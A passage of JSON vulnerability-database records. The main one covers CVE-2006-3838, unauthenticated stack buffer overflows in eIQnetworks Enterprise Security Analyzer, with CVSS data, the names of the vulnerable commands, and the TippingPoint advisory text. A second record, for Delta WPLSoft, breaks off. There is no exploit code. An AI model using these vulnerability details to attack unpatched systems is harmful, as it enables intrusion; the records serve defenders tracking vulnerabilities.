"sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-200607-0396](https://vulnerability.circl.lu/vuln/var-200607-0396) ```json { "id": "VAR-200607-0396", "affected_products": { "sources": [ { "db": "CERT/CC", "id": "VU#513068" }, { "db": "ZDI", "id": "ZDI-06-024" }, { "db": "ZDI", "id": "ZDI-06-023" }, { "db": "CNVD", "id": "CNVD-2006-5703" }, { "db": "BID", "id": "19163" }, { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "CNNVD", "id": "CNNVD-200607-454" }, { "db": "NVD", "id": "CVE-2006-3838" } ], "data": [ { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": null, "scope": null, "trust": 1.4 }, { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": "2.4.0", "scope": "lte", "trust": 1.0 }, { "vendor": "astaro", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "fortinet", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "secure computing network security division", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "top layer", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "viking interworks", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "eiqnetworks", "model": null, "version": null, "scope": null, "trust": 0.8 }, { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": "2.5.0", "scope": "lt", "trust": 0.8 }, { "vendor": "none", "model": null, "version": null, "scope": null, "trust": 0.6 }, { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": "2.4.0", "scope": "eq", "trust": 0.6 }, { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": "2.1", "scope": "eq", "trust": 0.3 }, { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": "2.0", "scope": "eq", "trust": 0.3 }, { "vendor": "eiqnetworks", "model": "enterprise security analyzer", "version": "2.5", "scope": "ne", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2006-3838" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:eiqnetworks:enterprise_security_analyzer:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.0", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-06-024" }, { "db": "ZDI", "id": "ZDI-06-023" } ], "data": "Titon, JxT, KF and the rest of Bastard Labs", "trust": 1.4, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CERT/CC", "id": "VU#513068" }, { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "CNNVD", "id": "CNNVD-200607-454" }, { "db": "NVD", "id": "CVE-2006-3838" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2006-3838", "trust": 1.8 }, { "id": "VU#513068", "author": "CARNEGIE MELLON", "value": "34.79", "trust": 0.8 }, { "id": "CNNVD-200607-454", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 } ], "cvssV2": [ { "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": true, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "id": "CVE-2006-3838", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "Network", "accessComplexity": "Low", "authentication": "None", "confidentialityImpact": "Complete", "integrityImpact": "Complete", "availabilityImpact": "Complete", "baseScore": 10.0, "severity": "High", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.8 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2006-3838" }, { "db": "CERT/CC", "id": "VU#513068" }, { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "ZDI", "id": "ZDI-06-024" }, { "db": "ZDI", "id": "ZDI-06-023" }, { "db": "CNVD", "id": "CNVD-2006-5703" }, { "db": "BID", "id": "19163" }, { "db": "PACKETSTORM", "id": "48591" } ], "data": "Multiple stack-based buffer overflows in eIQnetworks Enterprise Security Analyzer (ESA) before 2.5.0, as used in products including (a) Sidewinder, (b) iPolicy Security Manager, (c) Astaro Report Manager, (d) Fortinet FortiReporter, (e) Top Layer Network Security Analyzer, and possibly other products, allow remote attackers to execute arbitrary code via long (1) DELTAINTERVAL, (2) LOGFOLDER, (3) DELETELOGS, (4) FWASERVER, (5) SYSLOGPUBLICIP, (6) GETFWAIMPORTLOG, (7) GETFWADELTA, (8) DELETERDEPDEVICE, (9) COMPRESSRAWLOGFILE, (10) GETSYSLOGFIREWALLS, (11) ADDPOLICY, and (12) EDITPOLICY commands to the Syslog daemon (syslogserver.exe); (13) GUIADDDEVICE, (14) ADDDEVICE, and (15) DELETEDEVICE commands to the Topology server (Topology.exe); the (15) LICMGR_ADDLICENSE command to the License Manager (EnterpriseSecurityAnalyzer.exe); the (16) TRACE and (17) QUERYMONITOR commands to the Monitoring agent (Monitoring.exe); and possibly other vectors related to the Syslog daemon (syslogserver.exe). Used in the following products eIQnetworks Enterprise Security Analyzer (ESA) Is Syslog daemon (syslogserver.exe) A stack-based buffer overflow vulnerability exists due to a flaw in handling. During the processing of long arguments to the LICMGR_ADDLICENSE command a classic stack based buffer overflow occurs. Authentication is not required to exploit this vulnerability.The specific flaw exists within the Syslog daemon, syslogserver.exe, during the processing of long strings transmitted to the listening TCP port. The vulnerability is not exposed over UDP. The default configuration does not expose the open TCP port. eIQnetworks Enterprise Security Analyzer (ESA) is an enterprise-level security management platform. The following commands are known to be affected by this vulnerability:\n\n DELTAINTERVAL\n\n LOGFOLDER\n\n DELETELOGS\n\n FWASERVER\n\n SYSLOGPUBLICIP\n\n GETFWAIMPORTLOG\n\n GETFWADELTA\n\n DELETERDEPDEVICE\n\n COMPRESSRAWLOGFILE\n\n GETSYSLOGFIREWALLS\n\n ADDPOLICY\n\n EDITPOLICY. TSRT-06-03: eIQnetworks Enterprise Security Analyzer Syslog Server\n Buffer Overflow Vulnerabilities\n\nhttp://www.zerodayinitiative.com/advisories/TSRT-06-03.html\nJuly 25, 2006\n\n-- CVE ID:\nCVE-2006-3838\n\n-- Affected Vendor:\neIQnetworks\n\n-- Affected Products:\neIQnetworks Enterprise Security Analyzer\nAstaro Report Manager (OEM)\nFortinet FortiReporter (OEM)\niPolicy Security Reporter (OEM)\nSanMina Viking Multi-Log Manager (OEM)\nSecure Computing G2 Security Reporter (OEM)\nTop Layer Network Security Analyzer (OEM)\n\n-- TippingPoint(TM) IPS Customer Protection:\nTippingPoint IPS customers have been protected against this\nvulnerability since July 24, 2006 by Digital Vaccine protection\nfilter ID 4319. \nAuthentication is not required to exploit this vulnerability. \n\n-- Vendor Response:\neIQnetworks has issued an update to correct this vulnerability. More\ndetails can be found at:\n\n http://www.eiqnetworks.com/products/enterprisesecurity/\n EnterpriseSecurityAnalyzer/ESA_2.5.0_Release_Notes.pdf\n\n-- Disclosure Timeline:\n2006.05.10 - Vulnerability reported to vendor\n2006.07.24 - Digital Vaccine released to TippingPoint customers\n2006.07.25 - Coordinated public release of advisory\n\n-- Credit:\nThis vulnerability was discovered by Cody Pierce, TippingPoint Security\nResearch Team. \n\n-- About the TippingPoint Security Research Team (TSRT):\nThe TippingPoint Security Research Team (TSRT) consists of industry\nrecognized security researchers that apply their cutting-edge\nengineering, reverse engineering and analysis talents in our daily\noperations. More information about the team is available at:\n\n http://www.tippingpoint.com/security\n \nThe by-product of these efforts fuels the creation of vulnerability\nfilters that are automatically delivered to our customers' intrusion\nprevention systems through the Digital Vaccine(R) service. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n", "trust": 4.5, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "CERT/CC", "id": "VU#513068" }, { "db": "ZDI", "id": "ZDI-06-024" }, { "db": "ZDI", "id": "ZDI-06-023" }, { "db": "CNVD", "id": "CNVD-2006-5703" }, { "db": "BID", "id": "19163" }, { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "PACKETSTORM", "id": "48591" }, { "db": "CNNVD", "id": "CNNVD-200607-454" }, { "db": "NVD", "id": "CVE-2006-3838" } ], "data": [ { "db": "NVD", "id": "CVE-2006-3838", "trust": 4.8 }, { "db": "CERT/CC", "id": "VU#513068", "trust": 3.2 }, { "db": "ZDI", "id": "ZDI-06-023", "trust": 3.1 }, { "db": "SECUNIA", "id": "21215", "trust": 2.4 }, { "db": "SECUNIA", "id": "21214", "trust": 2.4 }, { "db": "SECUNIA", "id": "21213", "trust": 2.4 }, { "db": "SECUNIA", "id": "21211", "trust": 2.4 }, { "db": "SECUNIA", "id": "21217", "trust": 2.4 }, { "db": "ZDI", "id": "ZDI-06-024", "trust": 2.3 }, { "db": "BID", "id": "19163", "trust": 1.9 }, { "db": "BID", "id": "19167", "trust": 1.6 }, { "db": "BID", "id": "19164", "trust": 1.6 }, { "db": "BID", "id": "19165", "trust": 1.6 }, { "db": "VUPEN", "id": "ADV-2006-3007", "trust": 1.6 }, { "db": "VUPEN", "id": "ADV-2006-2985", "trust": 1.6 }, { "db": "VUPEN", "id": "ADV-2006-3010", "trust": 1.6 }, { "db": "VUPEN", "id": "ADV-2006-3006", "trust": 1.6 }, { "db": "VUPEN", "id": "ADV-2006-3008", "trust": 1.6 }, { "db": "VUPEN", "id": "ADV-2006-3009", "trust": 1.6 }, { "db": "OSVDB", "id": "27527", "trust": 1.6 }, { "db": "OSVDB", "id": "27526", "trust": 1.6 }, { "db": "OSVDB", "id": "27525", "trust": 1.6 }, { "db": "OSVDB", "id": "27528", "trust": 1.6 }, { "db": "SECUNIA", "id": "21218", "trust": 1.6 }, { "db": "SECTRACK", "id": "1016580", "trust": 1.6 }, { "db": "AUSCERT", "id": "ESB-2006.0517", "trust": 0.8 }, { "db": "JVNDB", "id": "JVNDB-2006-002905", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-052", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-053", "trust": 0.7 }, { "db": "CNVD", "id": "CNVD-2006-5703", "trust": 0.6 }, { "db": "BUGTRAQ", "id": "20060808 TSRT-06-07: EIQNETWORKS ENTERPRISE SECURITY ANALYZER MONITORING AGENT BUFFER OVERFLOW VULNERABILITIES", "trust": 0.6 }, { "db": "BUGTRAQ", "id": "20060725 TSRT-06-03: EIQNETWORKS ENTERPRISE SECURITY ANALYZER SYSLOG SERVER BUFFER OVERFLOW VULNERABILITIES", "trust": 0.6 }, { "db": "BUGTRAQ", "id": "20060725 ZDI-06-023: EIQNETWORKS ENTERPRISE SECURITY ANALYZER SYSLOG SERVER BUFFER OVERFLOW VULNERABILITY", "trust": 0.6 }, { "db": "BUGTRAQ", "id": "20060725 ZDI-06-024: EIQNETWORKS ENTERPRISE SECURITY ANALYZER LICENSE MANAGER BUFFER OVERFLOW VULNERABILITY", "trust": 0.6 }, { "db": "BUGTRAQ", "id": "20060725 TSRT-06-04: EIQNETWORKS ENTERPRISE SECURITY ANALYZER TOPOLOGY SERVER BUFFER OVERFLOW VULNERABILITY", "trust": 0.6 }, { "db": "XF", "id": "27954", "trust": 0.6 }, { "db": "XF", "id": "27951", "trust": 0.6 }, { "db": "XF", "id": "27950", "trust": 0.6 }, { "db": "XF", "id": "27952", "trust": 0.6 }, { "db": "XF", "id": "27953", "trust": 0.6 }, { "db": "CNNVD", "id": "CNNVD-200607-454", "trust": 0.6 }, { "db": "PACKETSTORM", "id": "48591", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2006-5703" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2006-5703" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2006-002905" } ], "data": [ { "title": "Top Page", "url": "http://www.eiqnetworks.com/", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "CERT/CC", "id": "VU#513068" }, { "db": "ZDI", "id": "ZDI-06-024" }, { "db": "ZDI", "id": "ZDI-06-023" }, { "db": "CNVD", "id": "CNVD-2006-5703" }, { "db": "BID", "id": "19163" }, { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "PACKETSTORM", "id": "48591" }, { "db": "CNNVD", "id": "CNNVD-200607-454" }, { "db": "NVD", "id": "CVE-2006-3838" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "NVD", "id": "CVE-2006-3838" } ], "data": [ { "trust": 1.8, "problemtype": "CWE-119" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "CERT/CC", "id": "VU#513068" }, { "db": "BID", "id": "19163" }, { "db": "JVNDB", "id": "JVNDB-2006-002905" }, { "db": "PACKETSTORM", "id": "48591" }, { "db": "CNNVD", "id": "CNNVD-200607-454" }, { "db": "NVD", "id": "CVE-2006-3838" } ], "data": [ { "url": "http://www.eiqnetworks.com/products/enterprisesecurity/enterprisesecurityanalyzer/esa_2.5.0_release_notes.pdf", "trust": 2.7 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-06-023.html", "trust": 2.4 }, { "url": "http://www.kb.cert.org/vuls/id/513068", "trust": 2.4 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-06-024.html", "trust": 1.6 }, { "url": "http://www.tippingpoint.com/security/advisories/tsrt-06-07.html", "trust": 1.6 }, { "url": "http://www.tippingpoint.com/security/advisories/tsrt-06-04.html", "trust": 1.6 }, { "url": "http://www.tippingpoint.com/security/advisories/tsrt-06-03.html", "trust": 1.6 }, { "url": "http://www.securityfocus.com/bid/19167", "trust": 1.6 }, { "url": "http://www.securityfocus.com/bid/19165", "trust": 1.6 }, { "url": "http://www.securityfocus.com/bid/19164", "trust": 1.6 }, { "url": "http://www.securityfocus.com/bid/19163", "trust": 1.6 }, { "url": "http://www.osvdb.org/27528", "trust": 1.6 }, { "url": "http://www.osvdb.org/27527", "trust": 1.6 }, { "url": "http://www.osvdb.org/27526", "trust": 1.6 }, { "url": "http://www.osvdb.org/27525", "trust": 1.6 }, { "url": "http://securitytracker.com/id?1016580", "trust": 1.6 }, { "url": "http://secunia.com/advisories/21218", "trust": 1.6 }, { "url": "http://secunia.com/advisories/21217", "trust": 1.6 }, { "url": "http://secunia.com/advisories/21215", "trust": 1.6 }, { "url": "http://secunia.com/advisories/21214", "trust": 1.6 }, { "url": "http://secunia.com/advisories/21213", "trust": 1.6 }, { "url": "http://secunia.com/advisories/21211", "trust": 1.6 }, { "url": "http://archive.cert.uni-stuttgart.de/bugtraq/2006/08/msg00152.html", "trust": 1.6 }, { "url": "http://www.securityfocus.com/archive/1/441195/100/0/threaded", "trust": 1.0 }, { "url": "http://www.securityfocus.com/archive/1/441197/100/0/threaded", "trust": 1.0 }, { "url": "http://www.securityfocus.com/archive/1/441198/100/0/threaded", "trust": 1.0 }, { "url": "http://www.securityfocus.com/archive/1/441200/100/0/threaded", "trust": 1.0 }, { "url": "http://www.vupen.com/english/advisories/2006/2985", "trust": 1.0 }, { "url": "http://www.vupen.com/english/advisories/2006/3006", "trust": 1.0 }, { "url": "http://www.vupen.com/english/advisories/2006/3007", "trust": 1.0 }, { "url": "http://www.vupen.com/english/advisories/2006/3008", "trust": 1.0 }, { "url": "http://www.vupen.com/english/advisories/2006/3009", "trust": 1.0 }, { "url": "http://www.vupen.com/english/advisories/2006/3010", "trust": 1.0 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27950", "trust": 1.0 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27951", "trust": 1.0 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27952", "trust": 1.0 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27953", "trust": 1.0 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27954", "trust": 1.0 }, { "url": "http://www.zerodayinitiative.com/advisories/tsrt-06-03.html", "trust": 0.9 }, { "url": "http://www.eiqnetworks.com/support/security_advisory.pdf", "trust": 0.8 }, { "url": "http://secunia.com/advisories/21211/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/21213/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/21214/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/21215/", "trust": 0.8 }, { "url": "http://secunia.com/advisories/21217/", "trust": 0.8 }, { "url": "http://www.auscert.org.au/6544", "trust": 0.8 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-3838", "trust": 0.8 }, { "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2006-3838", "trust": 0.8 }, { "url": "http://www.frsirt.com/english/advisories/2006/2985", "trust": 0.6 }, { "url": "http://xforce.iss.net/xforce/xfdb/27954", "trust": 0.6 }, { "url": "http://xforce.iss.net/xforce/xfdb/27953", "trust": 0.6 }, { "url": "http://xforce.iss.net/xforce/xfdb/27952", "trust": 0.6 }, { "url": "http://xforce.iss.net/xforce/xfdb/27951", "trust": 0.6 }, { "url": "http://xforce.iss.net/xforce/xfdb/27950", "trust": 0.6 }, { "url": "http://www.securityfocus.com/archive/1/archive/1/441200/100/0/threaded", "trust": 0.6 }, { "url": "http://www.securityfocus.com/archive/1/archive/1/441198/100/0/threaded", "trust": 0.6 }, { "url": "http://www.securityfocus.com/archive/1/archive/1/441197/100/0/threaded", "trust": 0.6 }, { "url": "http://www.securityfocus.com/archive/1/archive/1/441195/100/0/threaded", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2006/3010", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2006/3009", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2006/3008", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2006/3007", "trust": 0.6 }, { "url": "http://www.frsirt.com/english/advisories/2006/3006", "trust": 0.6 }, { "url": "http://www.eiqnetworks.com/products/enterprisesecurityanalyzer.shtml", "trust": 0.3 }, { "url": "/archive/1/441195", "trust": 0.3 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2006-3838", "trust": 0.1 }, { "url": "http://secunia.com/", "trust": 0.1 }, { "url": "http://www.tippingpoint.com/security", "trust": 0.1 }, { "url": "http://www.eiqnetworks.com/products/enterprisesecurity/", "trust": 0.1 }, { "url": "http://www.tippingpoint.com", "trust": 0.1 }, { "url": "http://lists.grok.org.uk/full-disclosure-charter.html", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "CERT/CC", "id": "VU#513068", "date": "2007-01-18T00:00:00" }, { "db": "ZDI", "id": "ZDI-06-024", "date": "2006-07-25T00:00:00" }, { "db": "ZDI", "id": "ZDI-06-023", "date": "2006-07-25T00:00:00" }, { "db": "CNVD", "id": "CNVD-2006-5703", "date": "2006-07-25T00:00:00" }, { "db": "BID", "id": "19163", "date": "2006-09-05T22:28:00" }, { "db": "JVNDB", "id": "JVNDB-2006-002905", "date": "2012-12-20T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-200607-454", "date": "2007-04-16T00:00:00" }, { "db": "NVD", "id": "CVE-2006-3838", "date": "2018-10-17T21:31:46.783000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "CERT/CC", "id": "VU#513068", "date": "2006-08-01T00:00:00" }, { "db": "ZDI", "id": "ZDI-06-024", "date": "2006-07-25T00:00:00" }, { "db": "ZDI", "id": "ZDI-06-023", "date": "2006-07-25T00:00:00" }, { "db": "CNVD", "id": "CNVD-2006-5703", "date": "2006-07-25T00:00:00" }, { "db": "BID", "id": "19163", "date": "2006-07-26T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2006-002905", "date": "2012-12-20T00:00:00" }, { "db": "PACKETSTORM", "id": "48591", "date": "2006-07-26T09:15:27" }, { "db": "CNNVD", "id": "CNNVD-200607-454", "date": "2006-07-26T00:00:00" }, { "db": "NVD", "id": "CVE-2006-3838", "date": "2006-07-27T01:04:00" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-200607-454" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "CERT/CC", "id": "VU#513068" } ], "data": "eIQnetworks Enterprise Security Analyzer Syslog server buffer overflow", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-200607-454" } ], "data": "buffer overflow", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2006-3838", "last_update_date": "2024-07-23T22:41:04.279000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-200607-0396", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201702-0423](https://vulnerability.circl.lu/vuln/var-201702-0423) ```json { "id": "VAR-201702-0423", "affected_products": { "sources": [ { "db": "IVD", "id": "c1b2c178-9e7c-41ad-b334-53f292b6a7f0" }, { "db": "IVD", "id": "e300285f-39ab-11e9-9115-000c29342cb1" }, { "db": "ZDI", "id": "ZDI-16-661" }, { "db": "ZDI", "id": "ZDI-16-648" }, { "db": "ZDI", "id": "ZDI-16-653" }, { "db": "ZDI", "id": "ZDI-16-659" }, { "db": "ZDI", "id": "ZDI-16-649" }, { "db": "ZDI", "id": "ZDI-16-651" }, { "db": "ZDI", "id": "ZDI-16-656" }, { "db": "ZDI", "id": "ZDI-16-650" }, { "db": "ZDI", "id": "ZDI-16-654" }, { "db": "ZDI", "id": "ZDI-16-658" }, { "db": "ZDI", "id": "ZDI-16-662" }, { "db": "ZDI", "id": "ZDI-16-657" }, { "db": "CNVD", "id": "CNVD-2016-12683" }, { "db": "BID", "id": "94887" }, { "db": "CNNVD", "id": "CNNVD-201612-509" }, { "db": "NVD", "id": "CVE-2016-5805" } ], "data": [ { "vendor": "delta industrial automation", "model": "wplsoft", "version": null, "scope": null, "trust": 6.3 }, { "vendor": "delta industrial automation", "model": "ispsoft", "version": null, "scope": null, "trust": 2.1 }, { "vendor": "delta", "model": "ispsoft", "version": null, "scope": "eq", "trust": 1.6 }, { "vendor": "delta", "model": "pmsoft", "version": null, "scope": "eq", "trust": 1.6 }, { "vendor": "delta", "model": "wplsoft", "version": null, "scope": "eq", "trust": 1.6 }, { "vendor": "delta", "model": "electronics inc ispsoft", "version": "3.0", "scope": "eq", "trust": 0.9 }, { "vendor": "delta", "model": "electronics inc pmsoft", "version": "2.0", "scope": "eq", "trust": 0.9 }, { "vendor": "delta", "model": "electronics inc wplsoft", "version": "2.0", "scope": "eq", "trust": 0.9 }, { "vendor": "ispsoft", "model": null, "version": null, "scope": "eq", "trust": 0.4 }, { "vendor": "pmsoft", "model": null, "version": null, "scope": "eq", "trust": 0.4 }, { "vendor": "wplsoft", "model": null, "version": null, "scope": "eq", "trust": 0.4 }, { "vendor": "delta", "model": "electronics inc wplsoft", "version": "2.42.11", "scope": "ne", "trust": 0.3 }, { "vendor": "delta", "model": "electronics inc pmsoft", "version": "2.10.10", "scope": "ne", "trust": 0.3 }, { "vendor": "delta", "model": "electronics inc ispsoft", "version": "3.02.11", "scope": "ne", "trust": 0.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2016-5805" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": 